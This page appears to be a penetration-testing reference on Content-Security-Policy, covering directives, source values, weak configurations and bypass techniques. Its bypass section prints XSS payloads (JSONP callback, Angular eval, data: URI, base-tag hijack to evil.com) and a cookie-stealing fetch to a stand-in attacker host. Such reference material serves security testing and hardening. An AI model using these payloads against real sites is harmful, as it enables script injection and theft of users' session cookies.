Skip to main content

Overview

CSP controls which resources the browser can load. Misconfigured CSP allows XSS, data exfiltration, and script injection despite having a policy in place.

Check CSP

curl -s -I https://TARGET | grep -i "content-security-policy"

Browser DevTools

Console shows CSP violations when blocked.

Online Analyzer

https://csp-evaluator.withgoogle.com/

Key Directives

DirectiveControls
default-srcFallback for all resource types
script-srcJavaScript sources
style-srcCSS sources
img-srcImages
connect-srcXHR, fetch, WebSocket
font-srcFonts
object-srcPlugins (Flash, Java)
media-srcAudio, video
child-srcWeb workers and nested contexts
worker-srcWorker, SharedWorker, ServiceWorker
frame-srcIframes
frame-ancestorsWho can iframe this page
base-uriRestricts <base> tag
form-actionForm submission targets
sandboxRestricts page actions (scripts, forms, popups)
report-uriWhere to send violation reports (deprecated)
report-toCSP Level 3 reporting endpoint
default-src does NOT cover frame-ancestors, form-action, or base-uri — these must be set explicitly.
CSP via <meta> tag cannot enforce frame-ancestors, sandbox, or reporting directives. Use HTTP header instead.

Source Values

ValueMeaning
'none'Block everything
'self'Same origin only
'unsafe-inline'Allow inline scripts/styles
'unsafe-eval'Allow eval(), setTimeout('string')
'nonce-xxx'Allow scripts with matching nonce
'sha256-xxx'Allow scripts matching hash
'strict-dynamic'Trust scripts loaded by already-trusted scripts (ignores host allowlists)
'unsafe-hashes'Allow specific inline event handlers by hash
*Allow everything
data:Allow data: URIs
blob:Allow blob: URIs
https:Any HTTPS source
*.domain.comWildcard subdomain
'unsafe-inline' is ignored when a nonce or hash is present (CSP2+).

Dangerous Configurations

unsafe-inline (XSS Possible)

Content-Security-Policy: script-src 'self' 'unsafe-inline'
Inline <script> tags and event handlers work:
<script>alert(1)</script>
<img src=x onerror=alert(1)>

unsafe-eval

Content-Security-Policy: script-src 'self' 'unsafe-eval'
<script>eval('alert(1)')</script>

Wildcard

Content-Security-Policy: script-src *
Content-Security-Policy: default-src 'self'; script-src https:
Load scripts from any domain.

Missing Directives

No script-src → falls back to default-src. No default-src → no restriction.
Content-Security-Policy: style-src 'self'
# No script-src, no default-src → scripts unrestricted

Bypass Techniques

JSONP Endpoints

If CSP allows a domain with JSONP:
Content-Security-Policy: script-src 'self' https://accounts.google.com
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

CDN / Whitelisted Domain

If CSP allows a CDN you can upload to:
<script src="https://cdn.jsdelivr.net/gh/attacker/repo/evil.js"></script>

Angular + unsafe-eval

Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

base-uri Missing

<base href="https://evil.com/">
<!-- All relative script paths now load from evil.com -->

Nonce Reuse / Prediction

If nonce is static or predictable:
<script nonce="KNOWN_NONCE">alert(1)</script>

object-src Missing

<object data="data:text/html,<script>alert(1)</script>"></object>

Data URI (If data: Allowed)

Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>

Exfiltration via Allowed Destinations

If connect-src or img-src allows external:
<script nonce="valid">
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>

<!-- Or via img -->
<img src="https://evil.com/steal?data=leaked">

CSP Report-Only

Content-Security-Policy-Report-Only: ...
Logs violations but does NOT block. Not a security control.

Quick Reference

IssueWhy Dangerous
unsafe-inlineInline XSS works
unsafe-evaleval() works
* or https:Load from any domain
Missing script-srcFalls to default-src or none
Missing base-uri<base> hijack
Missing object-srcPlugin-based XSS
JSONP on allowed domainCallback parameter = arbitrary JS
data: in script-srcdata: URI scripts execute

Sources